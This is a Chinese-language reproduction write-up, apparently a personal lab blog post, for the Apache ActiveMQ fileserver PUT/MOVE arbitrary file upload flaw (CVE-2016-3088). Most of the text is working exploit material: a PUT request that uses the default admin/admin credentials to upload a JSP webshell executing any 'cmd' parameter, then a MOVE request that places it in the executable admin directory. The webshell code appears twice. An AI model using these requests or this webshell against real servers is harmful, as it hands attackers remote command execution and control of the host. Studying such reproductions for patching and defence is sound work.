漏洞复现
登录admin账号:默认账号admin/admin,抓包进行修改,使用PUT方法上传文件。ActiveMQ Web控制台分为三个应用程序:其中admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。
漏洞影响版本:Apache ActiveMQ 5.x ~ 5.14.0
POC
PUT /fileserver/2.jsp HTTP/1.1
Host: 192.168.188.128:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 329
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
上传成功之后,下图可以看到fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限
然后使用MOVE方法移动文件,文件已经上传成功,访问地址,成功解析jsp
MOVE /fileserver/2.jsp HTTP/1.1
Destination:file:///opt/apache-activemq-5.11.1/webapps/admin/3.jsp
Content-Length: 834
Host: 192.168.188.128:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 329
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
最后这个图不对,我应该是204的回显,我没有弄到那个图。
我是参考这位师傅的文章复现的ActiveMq PUT任意文件上传漏洞(CVE-2016-3088)漏洞复现 - pipiqiu - 博客园 (cnblogs.com)